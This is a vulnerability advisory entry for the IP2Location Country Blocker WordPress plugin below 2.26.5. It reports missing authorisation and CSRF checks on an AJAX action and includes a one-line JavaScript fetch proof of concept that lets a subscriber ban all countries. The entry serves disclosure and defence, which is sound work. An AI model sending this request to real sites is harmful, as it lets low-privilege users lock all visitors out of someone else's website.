Lucene search

K
wpvulndbKrzysztof ZającWPVDB-ID:CBFA7211-AC1F-4CF2-BD79-EBCE2FC4BAA1
HistoryJan 06, 2022 - 12:00 a.m.

IP2Location Country Blocker < 2.26.5 - Subscriber+ Arbitrary Country Ban

2022-01-0600:00:00
Krzysztof Zając
wpscan.com
7

0.001 Low

EPSS

Percentile

29.6%

The plugin does not have authorisation and CSRF checks in the ip2location_country_blocker_save_rules AJAX action, allowing any authenticated users, such as subscriber to call it and block arbitrary country, or block all of them at once, preventing users from accessing the frontend. v2.26.5 added authorisation but not CSRF check, a separate issue has been created

PoC

Ban visitors from all countries, as a subscriber: fetch(“https://example.com/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “body”: new URLSearchParams({“action”:“ip2location_country_blocker_save_rules”, “countries[]”: “nonexistent”, “mode”: 0}), “method”: “POST”, “credentials”: “include” }) .then(response => response.text()) .then(function(data) { console.log(data); });

CPENameOperatorVersion
ip2location-country-blockerlt2.26.5

0.001 Low

EPSS

Percentile

29.6%

Related for WPVDB-ID:CBFA7211-AC1F-4CF2-BD79-EBCE2FC4BAA1